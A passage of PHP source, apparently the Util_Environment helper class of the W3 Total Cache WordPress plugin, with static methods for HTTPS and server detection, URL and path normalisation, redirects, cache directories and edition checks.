		return preg_match( '~^(https?:)?//~', $url );
	}

	/**
	 * Returns true if current connection is secure.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_https() {
		$https                  = isset( $_SERVER['HTTPS'] ) ?
			htmlspecialchars( stripslashes( $_SERVER['HTTPS'] ) ) : ''; // phpcs:ignore
		$server_port            = isset( $_SERVER['SERVER_PORT'] ) ?
			htmlspecialchars( stripslashes( $_SERVER['SERVER_PORT'] ) ) : ''; // phpcs:ignore
		$http_x_forwarded_proto = isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) ?
			htmlspecialchars( stripslashes( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) ) : ''; // phpcs:ignore

		switch ( true ) {
			case ( self::to_boolean( $https ) ):
			case ( 433 === (int) $server_port ):
			case ( 'https' === $http_x_forwarded_proto ):
				return true;
		}

		return false;
	}

	/**
	 * Moves user to preview-mode or opposite.
	 *
	 * @static
	 */
	public static function set_preview( $is_enabled ) {
		if ( $is_enabled ) {
			setcookie( 'w3tc_preview', '*', 0, '/' );
		} else {
			setcookie( 'w3tc_preview', '', time() - 3600, '/' );
		}
	}

	/**
	 * Retuns true if preview settings active.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_preview_mode() {
		return ! empty( $_COOKIE['w3tc_preview'] );
	}

	/**
	 * Returns true if server is Apache.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_apache() {
		// Assume apache when unknown, since most common.
		if ( empty( $_SERVER['SERVER_SOFTWARE'] ) ) {
			return true;
		}

		return isset( $_SERVER['SERVER_SOFTWARE'] ) && stristr( htmlspecialchars( stripslashes( $_SERVER['SERVER_SOFTWARE'] ) ), 'Apache' ) !== false; // phpcs:ignore
	}


	/**
	 * Check whether server is LiteSpeed.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_litespeed() {
		return isset( $_SERVER['SERVER_SOFTWARE'] ) && stristr( htmlspecialchars( stripslashes( $_SERVER['SERVER_SOFTWARE'] ) ), 'LiteSpeed' ) !== false; // phpcs:ignore
	}

	/**
	 * Returns true if server is nginx.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_nginx() {
		return isset( $_SERVER['SERVER_SOFTWARE'] ) && stristr( htmlspecialchars( stripslashes( $_SERVER['SERVER_SOFTWARE'] ) ), 'nginx' ) !== false; // phpcs:ignore
	}

	/**
	 * Returns true if server is nginx.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_iis() {
		return isset( $_SERVER['SERVER_SOFTWARE'] ) && stristr( htmlspecialchars( stripslashes( $_SERVER['SERVER_SOFTWARE'] ) ), 'IIS' ) !== false; // phpcs:ignore
	}

	/**
	 * Returns host/domain from URL.
	 *
	 * @static
	 *
	 * @param string $url URL.
	 * @return string
	 */
	public static function url_to_host( $url ) {
		$a = parse_url( $url ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url

		if ( isset( $a['host'] ) ) {
			return $a['host'];
		}

		return '';
	}

	/**
	 * Returns path from URL. Without trailing slash.
	 *
	 * @static
	 *
	 * @param string $url URL.
	 */
	public static function url_to_uri( $url ) {
		$uri = @parse_url( $url, PHP_URL_PATH );

		// Convert FALSE and other return values to string.
		if ( empty( $uri ) ) {
			return '';
		}

		return rtrim( $uri, '/' );
	}

	/**
	 * Returns current blog ID.
	 *
	 * @static
	 *
	 * @return int
	 */
	public static function blog_id() {
		global $w3_current_blog_id;

		if ( ! is_null( $w3_current_blog_id ) ) {
			return $w3_current_blog_id;
		}

		if ( ! self::is_wpmu() || is_network_admin() ) {
			$w3_current_blog_id = 0;
			return $w3_current_blog_id;
		}

		$blog_data = Util_WpmuBlogmap::get_current_blog_data();

		if ( ! is_null( $blog_data ) ) {
			$w3_current_blog_id = substr( $blog_data, 1 );
		} else {
			$w3_current_blog_id = 0;
		}

		return $w3_current_blog_id;
	}

	/**
	 * Memoized version of wp_upload_dir. That function is quite slow
	 * for a number of times CDN calls it.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function wp_upload_dir() {
		static $values_by_blog = array();

		$blog_id = self::blog_id();

		if ( ! isset( $values_by_blog[ $blog_id ] ) )
			$values_by_blog[ $blog_id ] = wp_upload_dir();

		return $values_by_blog[ $blog_id ];
	}

	/**
	 * Returns path to section's cache dir.
	 *
	 * @static
	 *
	 * @param string $section Section.
	 * @return string
	 */
	public static function cache_dir( $section ) {
		return W3TC_CACHE_DIR . DIRECTORY_SEPARATOR . $section;
	}

	/**
	 * Returns path to blog's cache dir.
	 *
	 * @static
	 *
	 * @param string $section  Section.
	 * @param int    $blog_id Blog id.
	 * @return string
	 */
	public static function cache_blog_dir( $section, $blog_id = null ) {
		if ( ! self::is_wpmu() ) {
			$postfix = '';
		} else {
			if ( is_null( $blog_id ) ) {
				$blog_id = self::blog_id();
			}

			$postfix = DIRECTORY_SEPARATOR . sprintf( '%d', $blog_id );

			if ( defined( 'W3TC_BLOG_LEVELS' ) ) {
				for ( $n = 0; $n < W3TC_BLOG_LEVELS; $n++ ) {
					$postfix = DIRECTORY_SEPARATOR .
						substr( $postfix, strlen( $postfix ) - 1 - $n, 1 ) .
						$postfix;
				}
			}
		}

		return self::cache_dir( $section ) . $postfix;
	}

	/**
	 * Cache blog minify directory.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function cache_blog_minify_dir() {
		// when minify manual used with a shared config - shared
		// minify urls has to be used too, since CDN upload is possible
		// only from network admin
		if ( self::is_wpmu() && self::is_using_master_config() && ! Dispatcher::config()->get_boolean( 'minify.auto' ) ) {
			$path = self::cache_blog_dir( 'minify', 0 );
		} else {
			$path = self::cache_blog_dir( 'minify' );
		}

		return $path;
	}

	/**
	 * Returns URL regexp from URL.
	 *
	 * @static
	 *
	 * @param string $url URL.
	 * @return string
	 */
	public static function get_url_regexp( $url ) {
		$url = preg_replace( '~(https?:)?//~i', '', $url );
		$url = preg_replace( '~^www\.~i', '', $url );

		$regexp = '(https?:)?//(www\.)?' . self::preg_quote( $url );

		return $regexp;
	}

	/**
	 * Returns SSL URL if current connection is https.
	 *
	 * @static
	 *
	 * @param string $url URL.
	 * @return string
	 */
	public static function url_to_maybe_https( $url ) {
		if ( self::is_https() ) {
			$url = str_replace( 'http://', 'https://', $url );
		}

		return $url;
	}

	/**
	 * Get domain URL.
	 *
	 * @static
	 *
	 * @return string
	 */

	public static function home_domain_root_url() {
		$home_url  = get_home_url();
		$parse_url = @parse_url( $home_url ); // phpcs:ignore

		if ( $parse_url && isset( $parse_url['scheme'] ) && isset( $parse_url['host'] ) ) {
			$scheme     = $parse_url['scheme'];
			$host       = $parse_url['host'];
			$port       = ( isset( $parse_url['port'] ) && 80 != $parse_url['port'] ? ':' . (int) $parse_url['port'] : '' ); // phpcs:ignore
			$domain_url = sprintf( '%s://%s%s', $scheme, $host, $port );

			return $domain_url;
		}

		return false;
	}

	/**
	 * Returns domain url regexp.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function home_domain_root_url_regexp() {
		$domain_url = self::home_domain_root_url();
		$regexp     = self::get_url_regexp( $domain_url );

		return $regexp;
	}

	/**
	 * Returns SSL home url.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function home_url_maybe_https() {
		$home_url = get_home_url();
		$ssl = self::url_to_maybe_https( $home_url );

		return $ssl;
	}

	/**
	 * Returns home url regexp.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function home_url_regexp() {
		$home_url = get_home_url();
		$regexp = self::get_url_regexp( $home_url );

		return $regexp;
	}

	/**
	 * Copy of WordPress get_home_path, but accessible not only for wp-admin
	 * Get the absolute filesystem path to the root of the WordPress installation
	 * (i.e. filesystem path of siteurl).
	 *
	 * @static
	 *
	 * @return string Full filesystem path to the root of the WordPress installation.
	 */
	public static function site_path() {
		$home    = set_url_scheme( get_option( 'home' ), 'http' );
		$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );

		$home_path = ABSPATH;
		if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
			$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); // $siteurl - $home.

			// fix of get_home_path, used when index.php is moved outside of wp folder.
			$script_filename = isset( $_SERVER['SCRIPT_FILENAME'] ) ?
				htmlspecialchars( stripslashes( $_SERVER['SCRIPT_FILENAME'] ) ) : ''; // phpcs:ignore

			$pos = strripos(
				str_replace( '\\', '/', $script_filename ),
				trailingslashit( $wp_path_rel_to_home )
			);

			if ( false !== $pos ) {
				$home_path = substr( $script_filename, 0, $pos );
				$home_path = trailingslashit( $home_path );
			} else if ( defined( 'WP_CLI' ) ) {
				$pos = strripos(
					str_replace( '\\', '/', ABSPATH ),
					trailingslashit( $wp_path_rel_to_home )
				);

				if ( $pos !== false ) {
					$home_path = substr( ABSPATH, 0, $pos );
					$home_path = trailingslashit( $home_path );
				}
			}
		}

		return str_replace( '\\', DIRECTORY_SEPARATOR, $home_path );
	}

	/**
	 * Returns absolute path to document root.
	 * No trailing slash!
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function document_root() {
		static $document_root = null;

		if ( ! is_null( $document_root ) ) {
			return $document_root;
		}

		$c           = Dispatcher::config();
		$docroot_fix = $c->get_boolean( 'docroot_fix.enable' );

		if ( $docroot_fix ) {
			$document_root = untrailingslashit( ABSPATH );
			return $document_root;
		}

		if ( ! empty( $_SERVER['SCRIPT_FILENAME'] ) && ! empty( $_SERVER['PHP_SELF'] ) ) {
			$script_filename = self::normalize_path(
				htmlspecialchars( stripslashes( $_SERVER['SCRIPT_FILENAME'] ) ) // phpcs:ignore
			);
			$php_self        = self::normalize_path(
				htmlspecialchars( stripslashes( $_SERVER['PHP_SELF'] ) ) // phpcs:ignore
			);
			if ( substr( $script_filename, -strlen( $php_self ) ) == $php_self ) {
				$document_root = substr( $script_filename, 0, -strlen( $php_self ) );
				$document_root = realpath( $document_root );
				return $document_root;
			}
		}

		if ( ! empty( $_SERVER['PATH_TRANSLATED'] ) && ! empty( $_SERVER['PHP_SELF'] ) ) {
			$document_root = substr(
				self::normalize_path( htmlspecialchars( stripslashes( $_SERVER['PATH_TRANSLATED'] ) ) ), // phpcs:ignore
				0,
				-strlen( self::normalize_path( htmlspecialchars( stripslashes( $_SERVER['PHP_SELF'] ) ) ) ) // phpcs:ignore
			);
		} elseif ( ! empty( $_SERVER['DOCUMENT_ROOT'] ) ) {
			$document_root = self::normalize_path( htmlspecialchars( stripslashes( $_SERVER['DOCUMENT_ROOT'] ) ) ); // phpcs:ignore
		} else {
			$document_root = ABSPATH;
		}

		$document_root = realpath( $document_root );
		return $document_root;
	}

	/**
	 * Returns absolute path to blog install dir
	 *
	 * Example:
	 *
	 * DOCUMENT_ROOT=/var/www/vhosts/domain.com
	 * install dir=/var/www/vhosts/domain.com/site/blog
	 * return /var/www/vhosts/domain.com/site/blog
	 *
	 * No trailing slash!
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function site_root() {
		$site_root = ABSPATH;
		$site_root = realpath( $site_root );
		$site_root = self::normalize_path( $site_root );

		return $site_root;
	}

	/**
	 * Returns blog path.
	 *
	 * Example:
	 *
	 * siteurl=http://domain.com/site/blog
	 * return /site/blog/
	 *
	 * With trailing slash!
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function site_url_uri() {
		return self::url_to_uri( site_url() ) . '/';
	}

	/**
	 * Returns home domain.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function home_url_host() {
		$home_url  = get_home_url();
		$parse_url = @parse_url( $home_url ); // phpcs:ignore

		if ( $parse_url && isset( $parse_url['host'] ) ) {
			return $parse_url['host'];
		}

		return self::host();
	}

	/**
	 * Returns home path.
	 *
	 * Example:
	 *
	 * home=http://domain.com/site/
	 * siteurl=http://domain.com/site/blog
	 * return /site/
	 *
	 * With trailing slash!
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function home_url_uri() {
		return self::url_to_uri( get_home_url() ) . '/';
	}

	/**
	 * Network home URL.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function network_home_url_uri() {
		$uri = network_home_url( '', 'relative' );

		/*
		 * There is a bug in WP where network_home_url can return
		 * a non-relative URI even though scheme is set to relative.
		 */
		if ( self::is_url( $uri ) ) {
			$uri = parse_url( $uri, PHP_URL_PATH );
		}

		if ( empty( $uri ) ) {
			return '/';
		}

		return $uri;
	}

	/**
	 * Returns server hostname with port.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function host_port() {
		static $host = null;

		if ( null === $host ) {
			if ( ! empty( $_SERVER['HTTP_HOST'] ) ) {
				// HTTP_HOST sometimes is not set causing warning.
				$host = htmlspecialchars( stripslashes( $_SERVER['HTTP_HOST'] ) ); // phpcs:ignore
			} else {
				$host = '';
			}
		}

		return $host;
	}

	/**
	 * Host.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function host() {
		$host_port = self::host_port();

		$pos = strpos( $host_port, ':' );

		if ( $pos === false ) {
			return $host_port;
		}

		return substr( $host_port, 0, $pos );
	}

	/**
	 * Returns WP config file path.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function wp_config_path() {
		$search = array(
			ABSPATH . 'wp-config.php',
			dirname( ABSPATH ) . DIRECTORY_SEPARATOR . 'wp-config.php',
		);

		foreach ( $search as $path ) {
			if ( file_exists( $path ) ) {
				return $path;
			}
		}

		return false;
	}

	/**
	 * Parses path.
	 *
	 * @static
	 *
	 * @param string $path Path.
	 * @return mixed
	 */
	public static function parse_path( $path ) {
		$path = str_replace(
			array(
				'%BLOG_ID%',
				'%POST_ID%',
				'%BLOG_ID%',
				'%HOST%',
			),
			array(
				( isset( $GLOBALS['blog_id'] ) && is_numeric( $GLOBALS['blog_id'] ) ? (int) $GLOBALS['blog_id'] : 0 ),
				( isset( $GLOBALS['post_id'] ) && is_numeric( $GLOBALS['post_id'] ) ?
					(int) $GLOBALS['post_id'] : 0 ),
				self::blog_id(),
				self::host(),
			),
			$path
		);

		return $path;
	}

	/**
	 * Normalizes file name.
	 *
	 * Relative to site root!
	 *
	 * @static
	 *
	 * @param string $file File path.
	 * @return string
	 */
	public static function normalize_file( $file ) {
		if ( self::is_url( $file ) ) {
			if ( strstr( $file, '?' ) === false ) {
				$home_url_regexp = '~' . self::home_url_regexp() . '~i';
				$file = preg_replace( $home_url_regexp, '', $file );
			}
		}

		if ( ! self::is_url( $file ) ) {
			$file = self::normalize_path( $file );
			$file = str_replace( self::site_root(), '', $file );
			$file = ltrim( $file, '/' );
		}

		return $file;
	}

	/**
	 * Normalizes file name for minify.
	 *
	 * Relative to document root!
	 *
	 * @static
	 *
	 * @param string  $file
	 * @return string
	 */
	public static function normalize_file_minify( $file ) {
		if ( self::is_url( $file ) ) {
			if ( strstr( $file, '?' ) === false ) {
				$domain_url_regexp = '~' . self::home_domain_root_url_regexp() . '~i';
				$file = preg_replace( $domain_url_regexp, '', $file );
			}
		}

		if ( ! self::is_url( $file ) ) {
			$file = self::normalize_path( $file );
			$file = str_replace( self::document_root(), '', $file );
			$file = ltrim( $file, '/' );
		}

		return $file;
	}

	/**
	 * Normalizes file name for minify.
	 * Relative to document root!
	 *
	 * @static
	 *
	 * @param string $file File path.
	 * @return string
	 */
	public static function url_to_docroot_filename( $url ) {
		$data = array(
			'home_url' => get_home_url(),
			'url' => $url,
		);

		$data = apply_filters( 'w3tc_url_to_docroot_filename', $data );

		$home_url       = $data['home_url'];
		$normalized_url = $data['url'];
		$normalized_url = self::remove_query_all( $normalized_url );

		// Cut protocol.
		$normalized_url = preg_replace( '~^http(s)?://~', '//', $normalized_url );
		$home_url       = preg_replace( '~^http(s)?://~', '//', $home_url );

		if ( substr( $normalized_url, 0, strlen( $home_url ) ) !== $home_url ) {
			// Not a home url, return unchanged since cant be converted to filename.
			return null;
		}

		$path_relative_to_home = str_replace( $home_url, '', $normalized_url );
		$home                  = set_url_scheme( get_option( 'home' ), 'http' );
		$siteurl               = set_url_scheme( get_option( 'siteurl' ), 'http' );
		$home_path             = rtrim( Util_Environment::site_path(), '/' );

		// Adjust home_path if site is not is home.
		if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
			// $siteurl - $home/
			$wp_path_rel_to_home = rtrim( str_ireplace( $home, '', $siteurl ), '/' );

			if ( substr( $home_path, -strlen( $wp_path_rel_to_home ) ) ==
				$wp_path_rel_to_home ) {
				$home_path = substr( $home_path, 0, -strlen( $wp_path_rel_to_home ) );
			}
		}

		// Common encoded characters.
		$path_relative_to_home = str_replace( '%20', ' ', $path_relative_to_home );

		$full_filename = $home_path . DIRECTORY_SEPARATOR .
			trim( $path_relative_to_home, DIRECTORY_SEPARATOR );

		$docroot = self::document_root();

		if ( substr( $full_filename, 0, strlen( $docroot ) ) == $docroot ) {
			$docroot_filename = substr( $full_filename, strlen( $docroot ) );
		} else {
			$docroot_filename = $path_relative_to_home;
		}

		/*
		 * Sometimes urls (coming from other plugins/themes)
		 * contain multiple "/" like "my-folder//myfile.js" which
		 * fails to recognize by filesystem, while url is accessible.
		 */
		$docroot_filename = str_replace( '//', DIRECTORY_SEPARATOR, $docroot_filename );

		return ltrim( $docroot_filename, DIRECTORY_SEPARATOR );
	}

	/**
	 * Document root to full filename.
	 *
	 * @static
	 *
	 * @param string $docroot_filename Document filename.
	 * @return strin
	 */
	public static function docroot_to_full_filename( $docroot_filename ) {
		return rtrim( Util_Environment::document_root(), DIRECTORY_SEPARATOR ) .
			DIRECTORY_SEPARATOR . $docroot_filename;
	}

	/**
	 * Removes WP query string from URL.
	 *
	 * @static
	 */
	public static function remove_query( $url ) {
		$url = preg_replace( '~(\?|&amp;|&#038;|&)+ver=[a-z0-9-_\.]+~i', '', $url );

		return $url;
	}

	/**
	 * Removes all query strings from url.
	 *
	 * @static
	 *
	 * @param string $url URL.
	 * @return string
	 */
	public static function remove_query_all( $url ) {
		$pos = strpos( $url, '?' );
		if ( $pos === false ) {
			return $url;
		}

		return substr( $url, 0, $pos );
	}

	/**
	 * Converts win path to unix.
	 *
	 * @static
	 *
	 * @param string $path Path.
	 * @return string
	 */
	public static function normalize_path( $path ) {
		$path = preg_replace( '~[/\\\]+~', '/', $path );
		$path = rtrim( $path, '/' );

		return $path;
	}

	/**
	 * Returns real path of given path.
	 *
	 * @static
	 *
	 * @param string $path Path.
	 * @return string
	 */
	public static function realpath( $path ) {
		$path      = self::normalize_path( $path );
		$parts     = explode( '/', $path );
		$absolutes = array();

		foreach ( $parts as $part ) {
			if ( '.' == $part ) {
				continue;
			}

			if ( '..' == $part ) {
				array_pop( $absolutes );
			} else {
				$absolutes[] = $part;
			}
		}

		return implode( '/', $absolutes );
	}

	/**
	 * Returns real path of given path.
	 *
	 * @static
	 *
	 * @param string $path Path.
	 * @return string
	 */
	public static function path_remove_dots( $path ) {
		$parts = explode( '/', $path );
		$absolutes = array();

		foreach ( $parts as $part ) {
			if ( '.' == $part ) {
				continue;
			}
			if ( '..' == $part ) {
				array_pop( $absolutes );
			} else {
				$absolutes[] = $part;
			}
		}

		return implode( '/', $absolutes );
	}

	/**
	 * Returns full URL from relative one.
	 *
	 * @static
	 *
	 * @param string $relative_url Relative URL.
	 * @return string
	 */
	public static function url_relative_to_full( $relative_url ) {
		$relative_url = self::path_remove_dots( $relative_url );

		if ( version_compare( PHP_VERSION, '5.4.7' ) < 0 ) {
			if ( substr( $relative_url, 0, 2 ) === '//'  ) {
				$relative_url = ( self::is_https() ? 'https' : 'http' ) . ':' . $relative_url;
			}
		}

		$rel = parse_url( $relative_url );
		// it's full url already
		if ( isset( $rel['scheme'] ) || isset( $rel['host'] ) )
			return $relative_url;

		if ( !isset( $rel['host'] ) ) {
			$home_parsed = parse_url( get_home_url() );
			$rel['host'] = $home_parsed['host'];
			if ( isset( $home_parsed['port'] ) ) {
				$rel['port'] = $home_parsed['port'];
			}
		}

		$scheme = isset( $rel['scheme'] ) ? $rel['scheme'] . '://' : '//';
		$host = isset( $rel['host'] ) ? $rel['host'] : '';
		$port = isset( $rel['port'] ) ? ':' . $rel['port'] : '';
		$path = isset( $rel['path'] ) ? $rel['path'] : '';
		$query = isset( $rel['query'] ) ? '?' . $rel['query'] : '';
		return "$scheme$host$port$path$query";
	}

	/**
	 * Redirects to URL.
	 *
	 * @static
	 *
	 * @param string $url    URL.
	 * @param array  $params Parameters.
	 */
	public static function redirect( $url = '', $params = array() ) {
		$url = self::url_format( $url, $params );
		if ( function_exists( 'do_action' ) ) {
			do_action( 'w3tc_redirect' );
		}

		@header( 'Location: ' . $url ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		exit();
	}

	/**
	 * Redirects to URL.
	 *
	 * @static
	 *
	 * @param string $url           URL.
	 * @param array  $params        Parameters.
	 * @param bool   $safe_redirect Safe redirect or not.
	 */
	public static function safe_redirect_temp( $url = '', $params = array(), $safe_redirect = false ) {
		$url = self::url_format( $url, $params );

		if ( function_exists( 'do_action' ) ) {
			do_action( 'w3tc_redirect' );
		}

		$status_code = 302;

		$protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ?
			htmlspecialchars( stripslashes( $_SERVER['SERVER_PROTOCOL'] ) ) : ''; // phpcs:ignore

		if ( 'HTTP/1.1' === $protocol ) {
			$status_code = 307;
		}

		$text = get_status_header_desc( $status_code );
		if ( ! empty( $text ) ) {
			$status_header = "$protocol $status_code $text";
			@header( $status_header, true, $status_code );
		}

		add_action(
			'wp_safe_redirect_fallback',
			array( '\W3TC\Util_Environment', 'wp_safe_redirect_fallback' )
		);

		@header( 'Cache-Control: no-cache' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		wp_safe_redirect( $url, $status_code );
		exit();
	}

	/**
	 * Fallback for wp_sfe_redirect().
	 *
	 * @static
	 *
	 * @param string $url URL.
	 * @return string
	 */
	public static function wp_safe_redirect_fallback( $url ) {
		return home_url( '?w3tc_repeat=invalid' );
	}

	/**
	 * Detects post ID.
	 *
	 * @static
	 *
	 * @return int
	 */
	public static function detect_post_id() {
		global $posts, $comment_post_ID, $post_ID; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase

		$p_val = Util_Request::get_integer( 'p' );

		if ( $post_ID ) {
			return $post_ID;
		} elseif ( $comment_post_ID ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
			return $comment_post_ID; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
		} elseif ( ( is_single() || is_page() ) && is_array( $posts ) && isset( $posts[0]->ID ) ) {
			return $posts[0]->ID;
		} elseif ( isset( $posts->ID ) ) {
			return $posts->ID;
		} elseif ( ! empty( $p_val ) ) {
			return $p_val;
		}

		return 0;
	}

	/**
	 * Get W3TC instance id.
	 *
	 * @static
	 *
	 * @return int
	 */
	public static function instance_id() {
		if ( defined( 'W3TC_INSTANCE_ID' ) ) {
			return W3TC_INSTANCE_ID;
		}

		static $instance_id;

		if ( ! isset( $instance_id ) ) {
			$config      = Dispatcher::config();
			$instance_id = $config->get_integer( 'common.instance_id', 0 );
		}

		return $instance_id;
	}

	/**
	 * Get W3TC edition.
	 *
	 * @static
	 *
	 * @param Config $config Config.
	 * @return string
	 */
	public static function w3tc_edition( $config = null ) {
		if ( self::is_w3tc_pro( $config ) && self::is_w3tc_pro_dev() ) {
			return 'pro development';
		}

		if ( self::is_w3tc_pro( $config ) ) {
			return 'pro';
		}

		return 'community';
	}

	/**
	 * Is W3TC Pro.
	 *
	 * @static
	 *
	 * @param Config $config Config.
	 * @return bool
	 */
	public static function is_w3tc_pro( $config = null ) {
		if ( defined( 'W3TC_PRO' ) && W3TC_PRO ) {
			return true;
		}

		if ( defined( 'W3TC_ENTERPRISE' ) && W3TC_ENTERPRISE ) {
			return true;
		}

		if ( is_object( $config ) ) {
			$plugin_type = $config->get_string( 'plugin.type' );

			if ( 'pro' === $plugin_type || 'pro_dev' === $plugin_type ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Enable Pro Dev mode support.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_w3tc_pro_dev() {
		return defined( 'W3TC_PRO_DEV_MODE' ) && W3TC_PRO_DEV_MODE;
	}

	/**
	 * Quotes regular expression string.
	 *
	 * @static
	 *
	 * @param string $string    String.
	 * @param string $delimiter Delimeter.
	 * @return string
	 */
	public static function preg_quote( $string, $delimiter = '~' ) {
		$string = preg_quote( $string, $delimiter );
		$string = strtr(
			$string,
			array( ' ' => '\ ' )
		);

		return $string;
	}

	/**
	 * Returns true if zlib output compression is enabled otherwise false.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_zlib_enabled() {
		return self::to_boolean( ini_get( 'zlib.output_compression' ) );
	}

	/**
	 * Recursive strips slahes from the var.
	 *
	 * @static
	 *
	 * @param mixed $var Value.
	 * @return mixed
	 */
	public static function stripslashes( $var ) {
		if ( is_string( $var ) ) {
			return stripslashes( $var );
		} elseif ( is_array( $var ) ) {
			$var = array_map( array( '\W3TC\Util_Environment', 'stripslashes' ), $var );
		}

		return $var;
	}

	/**
	 * Checks if post should be flushed or not. Returns true if it should not be flushed.
	 *
	 * @static
	 *
	 * @param object $post Post object.
	 * @param string $module Which cache module to check against (pgcache, varnish, dbcache or objectcache).
	 * @param Config $config Config.
	 * @return bool
	 */
	public static function is_flushable_post( $post, $module, $config ) {
		if ( is_numeric( $post ) ) {
			$post = get_post( $post );
		}

		$post_status = array( 'publish' );

		/**
		 * Dont flush when we have post "attachment"
		 * its child of the post and is flushed always when post is published, while not changed in fact.
		 */
		$post_type = array( 'revision', 'attachment' );
		switch ( $module ) {
			case 'pgcache':
			case 'varnish':
			case 'posts':   // Means html content of post pages.
				if ( ! $config->get_boolean( 'pgcache.reject.logged' ) ) {
					$post_status[] = 'private';
				}
				break;
			case 'dbcache':
				if ( ! $config->get_boolean( 'dbcache.reject.logged' ) ) {
					$post_status[] = 'private';
				}
				break;
		}

		$flushable = is_object( $post ) && ! in_array( $post->post_type, $post_type, true ) && in_array( $post->post_status, $post_status, true );

		return apply_filters( 'w3tc_flushable_post', $flushable, $post, $module );
	}

	/**
	 * Checks if post belongs to a custom post type.
	 *
	 * @since 2.1.7
	 * @static
	 *
	 * @param object $post Post object.
	 * @return bool
	 */
	public static function is_custom_post_type( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		// post type not found belongs to default post type(s).
		if ( empty( $post_type ) ) {
			return false;
		}

		// check if custom.
		if ( false === $post_type->_builtin ) {
			return true;
		}

		return false;
	}

	/**
	 * Converts value to boolean.
	 *
	 * @static
	 *
	 * @param mixed $value Value.
	 * @return bool
	 */
	public static function to_boolean( $value ) {
		if ( is_string( $value ) ) {
			switch ( strtolower( $value ) ) {
			case '+':
			case '1':
			case 'y':
			case 'on':
			case 'yes':
			case 'true':
			case 'enabled':
				return true;

			case '-':
			case '0':
			case 'n':
			case 'no':
			case 'off':
			case 'false':
			case 'disabled':
				return false;
			}
		}

		return (boolean) $value;
	}

	/**
	 * Returns the apache, nginx version.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function get_server_version() {
		$sig     = explode(
			'/',
			isset( $_SERVER['SERVER_SOFTWARE'] ) ?
				htmlspecialchars( stripslashes( $_SERVER['SERVER_SOFTWARE'] ) ) : '' // phpcs:ignore
		);
		$temp    = isset( $sig[1] ) ? explode( ' ', $sig[1] ) : array( '0' );
		$version = $temp[0];

		return $version;
	}

	/**
	 * Checks if current request is REST REQUEST.
	 *
	 * @static
	 */
	public static function is_rest_request( $url ) {
		if ( defined( 'REST_REQUEST' ) && REST_REQUEST )
			return true;

		// in case when called before constant is set
		// wp filters are not available in that case
		return preg_match( '~' . W3TC_WP_JSON_URI . '~', $url );
	}

	/**
	 * Reset microcache.
	 *
	 * @static
	 */
	public static function reset_microcache() {
		global $w3_current_blog_id;
		$w3_current_blog_id = null;

		self::$is_using_master_config = null;
	}

	/**
	 * Removes blank lines, trim values, removes duplicates, and sorts array.
	 *
	 * @since 2.4.3
	 *
	 * @param array $values Array of values.
	 *
	 * @return array
	 */
	public static function clean_array( $values ) {
		if ( ! empty( $values ) && is_array( $values ) ) {
			$values = array_unique(
				array_filter(
					array_map(
						'trim',
						$values
					),
					'strlen'
				)
			);
			sort( $values );
		}

		return $values;
	}

	/**
	 * Parses textarea setting value from string to array.
	 *
	 * @since 2.4.3
	 *
	 * @param string $value Value.
	 *
	 * @return array
	 */
	public static function textarea_to_array( $value ) {
		$values_array = array();

		if ( ! empty( $value ) ) {
			$values_array = self::clean_array(
				preg_split(
					'/\R/',
					$value,
					0,
					PREG_SPLIT_NO_EMPTY
				)
			);
		}

		return $values_array;
	}

	/**
	 * Is there a partial array intersections match?
	 *
	 * Returns true if any entries between the tewo arrays match string endings or in whole.
	 *
	 * @since  2.7.4
	 * @static
	 *
	 * @param array $array1 Array 1.
	 * @param array $array2 Array 2.
	 * @return bool
	 */
	public static function array_intersect_partial( array $array1, array $array2 ): bool {
		foreach ( $array1 as $url1 ) {
			foreach ( $array2 as $url2 ) {
				/**
				 * Parse array1 URLs to handle both full URLs and relative paths.
				 * If homepage then 'path' will be null, set to '/'.
				 */
				$parsed_url1         = \wp_parse_url( \trim( $url1, '/' ) );
				$parsed_url1['path'] = $parsed_url1['path'] ?? '/';

				/**
				 * Parse array2 URLs to handle both full URLs and relative paths.
				 * If value is '/' for homepage then don't trim, otherwise tirm.
				 */
				$parsed_url2 = \wp_parse_url( '/' === $url2 ? '/' : \trim( $url2, '/' ) );

				$is_host_set = isset( $parsed_url1['host'], $parsed_url2['host'] );

				if ( $url1 === $url2 ) {
					// Direct comparison for full URLs that are identical.
					return true;
				} elseif (
					isset( $parsed_url1['path'], $parsed_url2['path'] )
					&& (
